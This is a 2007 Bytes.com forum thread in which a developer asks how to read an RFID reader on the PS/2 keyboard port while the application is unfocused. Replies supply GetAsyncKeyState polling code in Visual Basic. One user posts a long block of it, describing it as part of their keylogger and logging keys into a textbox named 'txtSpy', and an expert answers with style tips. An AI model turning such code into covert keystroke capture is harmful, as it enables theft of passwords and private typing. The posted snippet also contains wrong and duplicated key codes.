473,396 Members | 1,884 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,396 software developers and data experts.

Reading Keyboard value without focus

hey guys
i have a big problem,actually I m developing a software for my a client. this is verfication of RFID card via PS/2 port its reader. I can read data from card easily when application is active and setfocus is in textbox. but when application is not active then i can not get information.
so plz tell me how i can get value from PS/2 (Keyboard) port, I tried using MSComm but failed.
anybody can help me out??
Jun 6 '07 #1
9 3238
hey guys
i have a big problem,actually I m developing a software for my a client. this is verfication of RFID card via PS/2 port its reader. I can read data from card easily when application is active and setfocus is in textbox. but when application is not active then i can not get information.
so plz tell me how i can get value from PS/2 (Keyboard) port, I tried using MSComm but failed.
anybody can help me out??
I think you wanna make a keylogger don't you??
any way use:
Expand|Select|Wrap|Line Numbers
  1. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
then use:
Expand|Select|Wrap|Line Numbers
  1. If GetAsyncKeyState(vbKeyA) = -32767 Then text1.Text = text1.Text & "a"
  2. If GetAsyncKeyState(vbKeyB) = -32767 Then text1.Text = text1.Text & "b"
and ...

by this you can get any character from keyboard
Jun 8 '07 #2
I have use this code. I use it in Timer control (with interval=100) but it adds one character in textbox two or three times. If I use time interval=200 then it miss some characters.
What can I do for it?
Jun 11 '07 #3
neo008
85
Which controller are you using friends? Give me some detail about the invoke method you have created.

NE☼
Jun 12 '07 #4
hey, i used above code.its working properly but problem i m facing that i can not read value from RFID reader as it reads very fast and i set function in Timer, so it can not read. please tell me any other same technique but little fast.
Jun 22 '07 #5
Killer42
8,435 Expert 8TB
hey, i used above code.its working properly but problem i m facing that i can not read value from RFID reader as it reads very fast and i set function in Timer, so it can not read. please tell me any other same technique but little fast.
What timer interval have you set?

Also, how did you implement that code? Not as a string of hundreds of IF statement, I hope.
Jun 23 '07 #6
I set
Timer Interval =1
and i use IF Statements as there is no way to get keys without it. just check
Code

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeySpace) = -32767 Then Text1.Text = Text1.Text & " "
If GetAsyncKeyState(vbKeyA) = -32767 Then Text1.Text = Text1.Text & "a"
If GetAsyncKeyState(vbKeyB) = -32767 Then Text1.Text = Text1.Text & "b"
If GetAsyncKeyState(vbKeyC) = -32767 Then Text1.Text = Text1.Text & "c"
If GetAsyncKeyState(vbKeyD) = -32767 Then Text1.Text = Text1.Text & "d"
If GetAsyncKeyState(vbKeyE) = -32767 Then Text1.Text = Text1.Text & "e"
If GetAsyncKeyState(vbKeyF) = -32767 Then Text1.Text = Text1.Text & "f"
If GetAsyncKeyState(vbKeyG) = -32767 Then Text1.Text = Text1.Text & "g"
If GetAsyncKeyState(vbKeyH) = -32767 Then Text1.Text = Text1.Text & "h"
If GetAsyncKeyState(vbKeyI) = -32767 Then Text1.Text = Text1.Text & "i"
If GetAsyncKeyState(vbKeyJ) = -32767 Then Text1.Text = Text1.Text & "j"
If GetAsyncKeyState(vbKeyK) = -32767 Then Text1.Text = Text1.Text & "k"
If GetAsyncKeyState(vbKeyL) = -32767 Then Text1.Text = Text1.Text & "l"
If GetAsyncKeyState(vbKeyM) = -32767 Then Text1.Text = Text1.Text & "m"
If GetAsyncKeyState(vbKeyN) = -32767 Then Text1.Text = Text1.Text & "n"
If GetAsyncKeyState(vbKeyO) = -32767 Then Text1.Text = Text1.Text & "o"
If GetAsyncKeyState(vbKeyP) = -32767 Then Text1.Text = Text1.Text & "p"
If GetAsyncKeyState(vbKeyQ) = -32767 Then Text1.Text = Text1.Text & "q"
If GetAsyncKeyState(vbKeyR) = -32767 Then Text1.Text = Text1.Text & "r"
If GetAsyncKeyState(vbKeyS) = -32767 Then Text1.Text = Text1.Text & "s"
If GetAsyncKeyState(vbKeyT) = -32767 Then Text1.Text = Text1.Text & "t"
If GetAsyncKeyState(vbKeyU) = -32767 Then Text1.Text = Text1.Text & "u"
If GetAsyncKeyState(vbKeyV) = -32767 Then Text1.Text = Text1.Text & "v"
If GetAsyncKeyState(vbKeyW) = -32767 Then Text1.Text = Text1.Text & "w"
If GetAsyncKeyState(vbKeyX) = -32767 Then Text1.Text = Text1.Text & "x"
If GetAsyncKeyState(vbKeyY) = -32767 Then Text1.Text = Text1.Text & "y"
If GetAsyncKeyState(vbKeyZ) = -32767 Then Text1.Text = Text1.Text & "z"
If GetAsyncKeyState(vbKey1) = -32767 Then Text1.Text = Text1.Text & "1"
If GetAsyncKeyState(vbKey2) = -32767 Then Text1.Text = Text1.Text & "2"
If GetAsyncKeyState(vbKey3) = -32767 Then Text1.Text = Text1.Text & "3"
If GetAsyncKeyState(vbKey4) = -32767 Then Text1.Text = Text1.Text & "4"
If GetAsyncKeyState(vbKey5) = -32767 Then Text1.Text = Text1.Text & "5"
If GetAsyncKeyState(vbKey6) = -32767 Then Text1.Text = Text1.Text & "6"
If GetAsyncKeyState(vbKey7) = -32767 Then Text1.Text = Text1.Text & "7"
If GetAsyncKeyState(vbKey8) = -32767 Then Text1.Text = Text1.Text & "8"
If GetAsyncKeyState(vbKey9) = -32767 Then Text1.Text = Text1.Text & "9"
If GetAsyncKeyState(vbKey0) = -32767 Then Text1.Text = Text1.Text & "0"

End Sub
Jun 23 '07 #7
Killer42
8,435 Expert 8TB
I set Timer Interval = 1 and I use IF Statements as there is no way to get keys without it. just check...
For a start, you could certainly make the code shorter by using one or more loops. For example...
Expand|Select|Wrap|Line Numbers
  1. Dim I As Long
  2. Const Pressed As Integer = -32767
  3. For I = vbKeyA To vbKeyZ
  4.   If GetAsyncKeyState(I) = Pressed Then
  5.     Text1.Text = Text1.Text & Lcase(Chr(I))
  6.   End If
  7. Next
I believe there are third-party timer controls available that can fire more rapidly than the VB-supplied one. For more precise timing (or just faster checking) you could also set up an infinite loop which simply keeps on checking non-stop. Until you want it to stop, obviously.

It might be worth double-checking the comparison you're performing, too. For instance, didn't the doco say that the shift state is also encoded in there? If so, -32767 might miss things. Might be better to use AND to check specific bit positions.
Jun 24 '07 #8
This code is a part of my keylogger. enjoy it!

Expand|Select|Wrap|Line Numbers
  1. If GetAsyncKeyState(vbKeyQ) = -32767 Then txtSpy.Text = txtSpy.Text & "q"
  2. If GetAsyncKeyState(vbKeyW) = -32767 Then txtSpy.Text = txtSpy.Text & "w"
  3. If GetAsyncKeyState(vbKeyE) = -32767 Then txtSpy.Text = txtSpy.Text & "e"
  4. If GetAsyncKeyState(vbKeyR) = -32767 Then txtSpy.Text = txtSpy.Text & "r"
  5. If GetAsyncKeyState(vbKeyT) = -32767 Then txtSpy.Text = txtSpy.Text & "t"
  6. If GetAsyncKeyState(vbKeyY) = -32767 Then txtSpy.Text = txtSpy.Text & "y"
  7. If GetAsyncKeyState(vbKeyU) = -32767 Then txtSpy.Text = txtSpy.Text & "u"
  8. If GetAsyncKeyState(vbKeyI) = -32767 Then txtSpy.Text = txtSpy.Text & "i"
  9. If GetAsyncKeyState(vbKeyO) = -32767 Then txtSpy.Text = txtSpy.Text & "o"
  10. If GetAsyncKeyState(vbKeyP) = -32767 Then txtSpy.Text = txtSpy.Text & "p"
  11. If GetAsyncKeyState(vbKeyA) = -32767 Then txtSpy.Text = txtSpy.Text & "a"
  12. If GetAsyncKeyState(vbKeyS) = -32767 Then txtSpy.Text = txtSpy.Text & "s"
  13. If GetAsyncKeyState(vbKeyD) = -32767 Then txtSpy.Text = txtSpy.Text & "d"
  14. If GetAsyncKeyState(vbKeyF) = -32767 Then txtSpy.Text = txtSpy.Text & "f"
  15. If GetAsyncKeyState(vbKeyG) = -32767 Then txtSpy.Text = txtSpy.Text & "g"
  16. If GetAsyncKeyState(vbKeyH) = -32767 Then txtSpy.Text = txtSpy.Text & "h"
  17. If GetAsyncKeyState(vbKeyJ) = -32767 Then txtSpy.Text = txtSpy.Text & "j"
  18. If GetAsyncKeyState(vbKeyK) = -32767 Then txtSpy.Text = txtSpy.Text & "k"
  19. If GetAsyncKeyState(vbKeyL) = -32767 Then txtSpy.Text = txtSpy.Text & "l"
  20. If GetAsyncKeyState(vbKeyZ) = -32767 Then txtSpy.Text = txtSpy.Text & "z"
  21. If GetAsyncKeyState(vbKeyX) = -32767 Then txtSpy.Text = txtSpy.Text & "x"
  22. If GetAsyncKeyState(vbKeyC) = -32767 Then txtSpy.Text = txtSpy.Text & "c"
  23. If GetAsyncKeyState(vbKeyV) = -32767 Then txtSpy.Text = txtSpy.Text & "v"
  24. If GetAsyncKeyState(vbKeyB) = -32767 Then txtSpy.Text = txtSpy.Text & "b"
  25. If GetAsyncKeyState(vbKeyN) = -32767 Then txtSpy.Text = txtSpy.Text & "n"
  26. If GetAsyncKeyState(vbKeyM) = -32767 Then txtSpy.Text = txtSpy.Text & "m"
  27.  
  28. If GetAsyncKeyState(vbKey1) = -32767 Then txtSpy.Text = txtSpy.Text & "1"
  29. If GetAsyncKeyState(vbKey2) = -32767 Then txtSpy.Text = txtSpy.Text & "2"
  30. If GetAsyncKeyState(vbKey3) = -32767 Then txtSpy.Text = txtSpy.Text & "3"
  31. If GetAsyncKeyState(vbKey4) = -32767 Then txtSpy.Text = txtSpy.Text & "4"
  32. If GetAsyncKeyState(vbKey5) = -32767 Then txtSpy.Text = txtSpy.Text & "5"
  33. If GetAsyncKeyState(vbKey6) = -32767 Then txtSpy.Text = txtSpy.Text & "6"
  34. If GetAsyncKeyState(vbKey7) = -32767 Then txtSpy.Text = txtSpy.Text & "7"
  35. If GetAsyncKeyState(vbKey8) = -32767 Then txtSpy.Text = txtSpy.Text & "8"
  36. If GetAsyncKeyState(vbKey9) = -32767 Then txtSpy.Text = txtSpy.Text & "9"
  37. If GetAsyncKeyState(vbKey0) = -32767 Then txtSpy.Text = txtSpy.Text & "0"
  38.  
  39. If GetAsyncKeyState(vbKeyShift) = -32767 Then txtSpy.Text = txtSpy.Text & " [Shift] "
  40.  
  41. If GetAsyncKeyState(vbKeyBack) = -32767 Then txtSpy.Text = txtSpy.Text & " [BackSpace] "
  42. If GetAsyncKeyState(13) = -32767 Then txtSpy.Text = txtSpy.Text & " [Enter] "
  43. If GetAsyncKeyState(17) = -32767 Then txtSpy.Text = txtSpy.Text & " [Ctrl] "
  44. If GetAsyncKeyState(vbKeyTab) = -32767 Then txtSpy.Text = txtSpy.Text & " [Tab] "
  45. If GetAsyncKeyState(18) = -32767 Then txtSpy.Text = txtSpy.Text & " [Alt] "
  46. If GetAsyncKeyState(108) = -32767 Then txtSpy.Text = txtSpy.Text & " [Enter] "
  47. If GetAsyncKeyState(32) = -32767 Then txtSpy.Text = txtSpy.Text & " [Space] "
  48. If GetAsyncKeyState(91) = -32767 Then txtSpy.Text = txtSpy.Text & " [Windows] "
  49. If GetAsyncKeyState(vbKeyShift) = -32767 Then txtSpy.Text = txtSpy.Text & " [Shift] "
  50.  
  51. If GetAsyncKeyState(27) = -32767 Then txtSpy.Text = txtSpy.Text & " [Esc] "
  52.  
  53. If GetAsyncKeyState(33) = -32767 Then txtSpy.Text = txtSpy.Text & " [PageUp] "
  54. If GetAsyncKeyState(34) = -32767 Then txtSpy.Text = txtSpy.Text & " [PageDown] "
  55. If GetAsyncKeyState(35) = -32767 Then txtSpy.Text = txtSpy.Text & " [End] "
  56. If GetAsyncKeyState(36) = -32767 Then txtSpy.Text = txtSpy.Text & " [Home] "
  57. If GetAsyncKeyState(45) = -32767 Then txtSpy.Text = txtSpy.Text & " [Insert] "
  58. If GetAsyncKeyState(46) = -32767 Then txtSpy.Text = txtSpy.Text & " [Delete] "
  59.  
  60. If GetAsyncKeyState(144) = -32767 Then txtSpy.Text = txtSpy.Text & " [NumLock] "
  61.  
  62. If GetAsyncKeyState(112) = -32767 Then txtSpy.Text = txtSpy.Text & " [F1] "
  63. If GetAsyncKeyState(113) = -32767 Then txtSpy.Text = txtSpy.Text & " [F2] "
  64. If GetAsyncKeyState(114) = -32767 Then txtSpy.Text = txtSpy.Text & " [F3] "
  65. If GetAsyncKeyState(115) = -32767 Then txtSpy.Text = txtSpy.Text & " [F4] "
  66. If GetAsyncKeyState(116) = -32767 Then txtSpy.Text = txtSpy.Text & " [F5] "
  67. If GetAsyncKeyState(117) = -32767 Then txtSpy.Text = txtSpy.Text & " [F6] "
  68. If GetAsyncKeyState(118) = -32767 Then txtSpy.Text = txtSpy.Text & " [F7] "
  69. If GetAsyncKeyState(119) = -32767 Then txtSpy.Text = txtSpy.Text & " [F8] "
  70. If GetAsyncKeyState(120) = -32767 Then txtSpy.Text = txtSpy.Text & " [F9] "
  71. If GetAsyncKeyState(121) = -32767 Then txtSpy.Text = txtSpy.Text & " [F10] "
  72. If GetAsyncKeyState(122) = -32767 Then txtSpy.Text = txtSpy.Text & " [F11] "
  73. If GetAsyncKeyState(123) = -32767 Then txtSpy.Text = txtSpy.Text & " [F12] "
  74.  
  75. If GetAsyncKeyState(37) = -32767 Then txtSpy.Text = txtSpy.Text & " [left] "
  76. If GetAsyncKeyState(38) = -32767 Then txtSpy.Text = txtSpy.Text & " [Up] "
  77. If GetAsyncKeyState(39) = -32767 Then txtSpy.Text = txtSpy.Text & " [right] "
  78. If GetAsyncKeyState(40) = -32767 Then txtSpy.Text = txtSpy.Text & " [Down] "
  79.  
  80. If GetAsyncKeyState(188) = -32767 Then txtSpy.Text = txtSpy.Text & ","
  81. If GetAsyncKeyState(190) = -32767 Then txtSpy.Text = txtSpy.Text & "."
  82. If GetAsyncKeyState(186) = -32767 Then txtSpy.Text = txtSpy.Text & ";"
  83. If GetAsyncKeyState(222) = -32767 Then txtSpy.Text = txtSpy.Text & "'"
  84. If GetAsyncKeyState(119) = -32767 Then txtSpy.Text = txtSpy.Text & "["
  85. If GetAsyncKeyState(121) = -32767 Then txtSpy.Text = txtSpy.Text & "]"
  86. If GetAsyncKeyState(191) = -32767 Then txtSpy.Text = txtSpy.Text & "/"
  87. If GetAsyncKeyState(220) = -32767 Then txtSpy.Text = txtSpy.Text & "\"
  88. If GetAsyncKeyState(106) = -32767 Then txtSpy.Text = txtSpy.Text & "*"
  89. If GetAsyncKeyState(109) = -32767 Then txtSpy.Text = txtSpy.Text & "-"
  90. If GetAsyncKeyState(107) = -32767 Then txtSpy.Text = txtSpy.Text & "+"
  91. If GetAsyncKeyState(96) = -32767 Then txtSpy.Text = txtSpy.Text & "0"
  92. If GetAsyncKeyState(97) = -32767 Then txtSpy.Text = txtSpy.Text & "1"
  93. If GetAsyncKeyState(98) = -32767 Then txtSpy.Text = txtSpy.Text & "2"
  94. If GetAsyncKeyState(99) = -32767 Then txtSpy.Text = txtSpy.Text & "3"
  95. If GetAsyncKeyState(100) = -32767 Then txtSpy.Text = txtSpy.Text & "4"
  96. If GetAsyncKeyState(101) = -32767 Then txtSpy.Text = txtSpy.Text & "5"
  97. If GetAsyncKeyState(102) = -32767 Then txtSpy.Text = txtSpy.Text & "6"
  98. If GetAsyncKeyState(103) = -32767 Then txtSpy.Text = txtSpy.Text & "7"
  99. If GetAsyncKeyState(104) = -32767 Then txtSpy.Text = txtSpy.Text & "8"
  100. If GetAsyncKeyState(105) = -32767 Then txtSpy.Text = txtSpy.Text & "9"
  101. If GetAsyncKeyState(192) = -32767 Then txtSpy.Text = txtSpy.Text & "`"
  102. If GetAsyncKeyState(92) = -32767 Then txtSpy.Text = txtSpy.Text & " [Window] "
  103. If GetAsyncKeyState(175) = -32767 Then txtSpy.Text = txtSpy.Text & " [Volume +] "
  104. If GetAsyncKeyState(174) = -32767 Then txtSpy.Text = txtSpy.Text & " [Volume -] "
  105. If GetAsyncKeyState(181) = -32767 Then txtSpy.Text = txtSpy.Text & " [Player] "
  106. If GetAsyncKeyState(168) = -32767 Then txtSpy.Text = txtSpy.Text & " [Refresh] "
  107. If GetAsyncKeyState(172) = -32767 Then txtSpy.Text = txtSpy.Text & " [InternetBrowser] "
  108. If GetAsyncKeyState(180) = -32767 Then txtSpy.Text = txtSpy.Text & " [E-Mail] "
  109. If GetAsyncKeyState(170) = -32767 Then txtSpy.Text = txtSpy.Text & " [Search] "
  110. If GetAsyncKeyState(169) = -32767 Then txtSpy.Text = txtSpy.Text & " [StopInternet] "
  111. If GetAsyncKeyState(167) = -32767 Then txtSpy.Text = txtSpy.Text & " [Forward] "
  112. If GetAsyncKeyState(166) = -32767 Then txtSpy.Text = txtSpy.Text & " [Back] "
  113. If GetAsyncKeyState(183) = -32767 Then txtSpy.Text = txtSpy.Text & " [Calculator] "
  114. If GetAsyncKeyState(171) = -32767 Then txtSpy.Text = txtSpy.Text & " [Favorites] "
  115. If GetAsyncKeyState(173) = -32767 Then txtSpy.Text = txtSpy.Text & " [Mute] "
  116. If GetAsyncKeyState(178) = -32767 Then txtSpy.Text = txtSpy.Text & " [StopPlayer] "
  117. If GetAsyncKeyState(179) = -32767 Then txtSpy.Text = txtSpy.Text & " [Play] "
  118. If GetAsyncKeyState(176) = -32767 Then txtSpy.Text = txtSpy.Text & " [NextTrack] "
  119. If GetAsyncKeyState(177) = -32767 Then txtSpy.Text = txtSpy.Text & " [PreviousTrack] "
  120. If GetAsyncKeyState(95) = -32767 Then txtSpy.Text = txtSpy.Text & " [Sleep] "
  121. If GetAsyncKeyState(187) = -32767 Then txtSpy.Text = txtSpy.Text & "="
  122. If GetAsyncKeyState(255) = -32767 Then txtSpy.Text = txtSpy.Text & " [Power/Wake] "
  123. If GetAsyncKeyState(145) = -32767 Then txtSpy.Text = txtSpy.Text & " [ScrollLock] "
  124. If GetAsyncKeyState(19) = -32767 Then txtSpy.Text = txtSpy.Text & " [PauseBreack] "
  125. If GetAsyncKeyState(20) = -32767 Then txtSpy.Text = txtSpy.Text & " [CapsLock] "
Jul 4 '07 #9
Killer42
8,435 Expert 8TB
This code is a part of my keylogger. enjoy it!...
Thanks for sharing.

Two comments, though.
  • I would definitely recommend setting up a couple of arrays (key value to check, what to insert) and using a loop to do this, just to shorten the code. But that's really a personal preference. One advantage of your existing code is that it visually matches each key value with the copresponding output value.
  • I think you have a typo ("PauseBreack") on line 124.
Jul 5 '07 #10

Sign in to post your reply or Sign up for a free account.

Similar topics

3
by: dreamer | last post by:
I am making a program for a friend with a disability. I need to adjust his audio volume using the keyboard as he cannot use a mouse. Any suggestions as to how I can raise the volume using the up...
3
by: Steve Miles | last post by:
I've got a tabbed form with the 2nd tab containing a subform. I'm trying to avoid the need to use the mouse to set focus to the first field on the subform. I can use <CTRL><TAB> to open the 2nd...
4
by: jonathandrott | last post by:
Hi, i'm kinda new to vb.net and i'm trying to make an on screen keyboard to use with a touch screen. how do i get it to print a letter on the screen when the button is pressed in the textbox that...
1
by: JDeats | last post by:
I have a WinForm with a single command button in the middle, I have added a KeyDown event handler to the form and the method for this is: private void Form2_KeyDown(object sender, KeyEventArgs e)...
2
by: petinboy | last post by:
Hi All! I am developing an accessibility keyboard application with Visual Studio 2005 Professional Edition and with C#. The application is a keyboard with buttons that interacts with any...
3
by: kettle | last post by:
Hi, I have a simple web page which is composed of a flash audio player (jwmp3player) and a form with a textarea box. I have noticed some very odd behaviour which I cannot puzzle out. If I...
8
by: BD | last post by:
How can I duplicate the behavior of the operating system shortcut keys in my application? For example, my windows form has 5 controls (textboxes), the operating system will pickup which control...
13
by: andypb123 | last post by:
Hello, The onchange event fires in IE6 in a SELECT element when scrolling through the list with the up and down arrows on the keyboard. In Firefox it only fires after you hit the enter key, which...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.